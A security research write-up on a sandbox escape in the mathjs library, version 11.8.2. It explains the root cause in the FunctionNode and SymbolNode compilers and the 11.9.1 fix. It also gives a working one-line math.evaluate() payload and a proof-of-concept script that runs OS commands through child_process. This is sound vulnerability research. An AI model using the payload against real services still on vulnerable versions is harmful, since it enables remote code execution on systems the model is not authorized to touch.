Escaping the mathjs Sandbox: From math.evaluate() to Remote Code Execution
## Abstract
While hunting on a bug bounty program I ran into a service that evaluated untrusted input with
mathjs, the popular JavaScript math library. The build
in use was mathjs 11.8.2, which sits just before a security fix that shipped quietly in
11.9.1. What follows is the part that actually interested me as research: the mathjs
internals that let an evaluated expression climb out of the library's own safety allow-list, reach the
JavaScript Function constructor, and turn math.evaluate() into arbitrary code
execution (and from there, OS command execution).
This post covers the root cause inside the FunctionNode and SymbolNode
compilers, how to build the escape primitive, and a reproducible local proof of concept against
mathjs 11.8.2. It is presented anonymized: no target details, just the library research,
which concerns public open-source code that was patched back in 2023.
## How I Ended Up Reading mathjs
The trail started with one observation during recon: an input whose value came back evaluated,
not echoed. Sending 7*7 returned 49. mathjs exposes its own version through the
version symbol, and that returned 11.8.2. I recognized the number as
pre-11.9.1, the release that silently fixed a FunctionNode / SymbolNode
code-execution bug, and the rest of the work was confirming and weaponizing it. From here on the focus is
the library, not the host.
## mathjs Is Not a Sandbox (But It Tries)
The maintainers state plainly that
evaluating untrusted
expressions is unsafe by design. Even so, mathjs ships an internal model meant to stop the obvious
escapes: reaching constructor, __proto__, or prototype methods from inside an
evaluated expression. It lives in src/utils/customs.js as an allow-list:
// src/utils/customs.js (v11.8.2)
function getSafeProperty (object, prop) {
if (isPlainObject(object) && isSafeProperty(object, prop)) {
return object[prop]
}
if (typeof object[prop] === 'function' && isSafeMethod(object, prop)) {
throw new Error('Cannot access method "' + prop + '" as a property')
}
throw new Error('No access to property "' + prop + '"')
}
function isSafeProperty (object, prop) {
if (!object || typeof object !== 'object') {
return false
}
// safe: whitelisted, e.g. length
if (hasOwnProperty(safeNativeProperties, prop)) {
return true
}
// unsafe: inherited from Object.prototype, e.g. constructor
if (prop in Object.prototype) {
return false
}
// unsafe: inherited from Function.prototype, e.g. call, apply
if (prop in Function.prototype) {
return false
}
return true
}
The line that matters is if (prop in Object.prototype) return false. Because
constructor is inherited from Object.prototype,
getSafeProperty(obj, "constructor") always throws
No access to property "constructor". So long as every property read during evaluation goes
through getSafeProperty, the classic "".constructor.constructor("...")() trick
is dead. The bug is that 11.8.2 has two reads that never call it.
## How mathjs Evaluates an Expression
math.evaluate(str) runs in three stages. parse(str) builds an Abstract Syntax
Tree of typed nodes (FunctionNode, SymbolNode, ConstantNode,
ArrayNode, and so on). Each node implements _compile(math, argNames), which
returns a plain JavaScript closure shaped like function (scope, args, context). That closure
is then run to produce the value.
Two parameters carry the whole story. math is the namespace of built-in functions and
constants. argNames is an object whose keys are the names bound as function-assignment
arguments, the x in a definition like f(x) = x^2. At runtime the closure
receives args, the object that actually holds the values for those bound names. That
args object is where the hole is.
## Root Cause: Two Unguarded Property Reads
### Hole #1, FunctionNode._compile
When the thing being called is a bare symbol (e.g. foo(...)),
FunctionNode._compile branches on whether that symbol is a known argument name. If it is
not an argument name, mathjs resolves it safely, through scope or through
getSafeProperty(math, name). If it is treated as an argument name, it takes
the other branch:
// src/expression/node/FunctionNode.js (v11.8.2)
_compile (math, argNames) {
const evalArgs = this.args.map((arg) => arg._compile(math, argNames))
if (isSymbolNode(this.fn)) {
const name = this.fn.name
if (!argNames[name]) {
/* safe path: resolves name via scope.get(name) or getSafeProperty(math, name) */
} else { // attacker forces this branch
const rawArgs = this.args
return function evalFunctionNode (scope, args, context) {
const fn = args[name] // [1] raw read, no getSafeProperty()
if (typeof fn !== 'function') {
throw new TypeError(
`Argument '${name}' was not a function; received: ${strin(fn)}`
)
}
if (fn.rawArgs) {
return fn(rawArgs, math, createSubScope(scope, args), scope)
} else {
const values = evalArgs.map((evalArg) => evalArg(scope, args, context))
return fn.apply(fn, values) // [2] Function.apply(Function, ['<body>'])
}
}
}
}
/* ... AccessorNode branches ... */
}
At [1] the function value is read with a raw property access,
args[name], no getSafeProperty wrapper. The only guard is a
typeof fn !== 'function' check, which is trivial to satisfy. At [2], if
fn happens to be the JavaScript Function constructor and values is
['<body>'], then fn.apply(fn, values) is exactly
Function('<body>'), a brand-new JS function built from an attacker string.
### Hole #2, SymbolNode._compile
The sibling node has the same class of bug for bare symbol reads:
// src/expression/node/SymbolNode.js (v11.8.2)
_compile (math, argNames) {
const name = this.name
if (argNames[name] === true) {
// function-assignment argument: the x in f(x) = ...
return function (scope, args, context) {
return args[name] // raw read, no getSafeProperty()
}
} else if (name in math) {
return function (scope, args, context) {
return scope.has(name) ? scope.get(name) : getSafeProperty(math, name)
}
} else {
/* ... unit / undefined symbol ... */
}
}
Notice the asymmetry: the name in math branch is careful to call
getSafeProperty(math, name), but the argument-name branch reaches straight into
args[name]. Both nodes trusted the args object as if its keys could only ever be
the safe identifiers from the expression. But every JavaScript object carries constructor on
its prototype chain.
### Why "constructor" slips through
The branch that reaches the raw read is gated on the argument-name lookup:
FunctionNode: the raw branch is theelseofif (!argNames[name]), so it is taken wheneverargNames[name]is truthy.SymbolNode: gated onargNames[name] === true.
Here is the trick. argNames is just a JavaScript object, and a property read like
argNames["constructor"] is truthy via the prototype chain. It resolves to a
constructor function, never undefined. So for name = "constructor" the
FunctionNode guard !argNames[name] is false, and execution falls
into the raw branch. mathjs now believes constructor is a locally bound argument and reads it
straight off args. If we also control what args is at call time, then
args["constructor"] is whatever constructor we choose, including Function.
## The 11.9.1 Fix
The patch (commit 6dcbc6b) is tiny: it wraps both raw reads in getSafeProperty,
so the lookup now goes through the same allow-list as every other property access:
// FunctionNode.js
- const fn = args[name]
+ const fn = getSafeProperty(args, name)
// SymbolNode.js
- return args[name]
+ return getSafeProperty(args, name)
After the fix, evaluating a constructor(...) expression routes through
getSafeProperty(args, "constructor"), which hits prop in Object.prototype and
throws No access to property "constructor". The two raw args[name] reads were the
whole hole, and 11.8.2 predates the patch, so the hole is open.
## Building the Escape Primitive
Putting the two holes together gives a clean primitive. Parsing
constructor('<JS source>') builds a FunctionNode whose function symbol is
named constructor and whose single argument is a ConstantNode holding our JS
source string. Walking the AST through compilation and invocation:
parse("constructor('return process.version')")
-> FunctionNode( fn = SymbolNode("constructor"),
args = [ ConstantNode("return process.version") ] )
._compile(1, 1) // any truthy math/argNames
-> argNames["constructor"] is truthy, so the raw branch is taken
-> returns the closure evalFunctionNode(scope, args, context)
closure(0, Math.cos) // scope unused, args = a js function
-> fn = args["constructor"] // = the Function constructor
-> values = ["return process.version"]
-> Function.apply(Function, values) === Function("return process.version")
-> a freshly built js function
f() // runs the body in the node.js process
-> "v18.20.8"
The key move is passing a real JavaScript function as the runtime args object. The
constructor of any function is Function, and Function("...") is JavaScript's
string-to-code gateway. Inside that built function we have the full Node.js global scope, so
global.process.mainModule.require('child_process').execSync('...') is one step from OS command
execution.
Two small details make the primitive survive a real math.evaluate() call rather than only the
internal API. First, _compile(1, 1) uses plain truthy scalars instead of object literals,
which some configurations disable; the constructor argument is a ConstantNode that
ignores math and argNames anyway. Second, packing the steps into a mathjs array
indexed at the end, [a, b, c][3], runs all three sub-expressions in a shared scope and returns
the third as a single scalar string (mathjs indexing is 1-based). The result is a one-line expression:
[c=parse("constructor('return global.process.mainModule.require(`child_process`).execSync(`id`).toString()')")._compile(1,1),f=c(0,cos),f()][3]
## Proof of Concept
The whole thing reproduces offline against a stock mathjs 11.8.2 install, no target involved:
npm init -y
npm i mathjs@11.8.2
// poc.js
const math = require('mathjs')
console.log('mathjs version:', math.version)
// 1) the escape primitive, via the internal _compile path
const node = math.parse("constructor('return process.version')")
const built = node._compile(1, 1)(0, Math.cos) // pass a js function so args['constructor'] is Function
console.log('JS exec ->', built())
// 2) os command execution
const src = "constructor('return global.process.mainModule.require(`child_process`).execSync(`id`).toString()')"
console.log('OS exec ->', math.parse(src)._compile(1, 1)(0, Math.cos)().trim())
// 3) same one-liner an app would feed to math.evaluate() on untrusted input
const payload = "[c=parse(\"constructor('return process.version')\")._compile(1,1),f=c(0,cos),f()][3]"
console.log('evaluate ->', math.evaluate(payload))
$ node poc.js
mathjs version: 11.8.2
JS exec -> v18.20.8
OS exec -> uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),...
evaluate -> v18.20.8
Three things are proven in one run: arbitrary JavaScript executes (it reads the host Node.js version),
arbitrary OS commands execute (it runs id), and the exact same escape works through the
public math.evaluate() API on a plain expression string. The id output reflects
whatever user the Node.js process runs as; in the deployment where I found this, that was root.
Swapping id for uname -a, hostname, or any command works the same way.
## References
- mathjs - Expression evaluation security
- mathjs 11.9.1 fix commit (FunctionNode / SymbolNode / customs)
- FunctionNode.js @ v11.8.2 (vulnerable)
- customs.js @ v11.8.2 (getSafeProperty / isSafeProperty)
- mathjs HISTORY / changelog (11.9.1)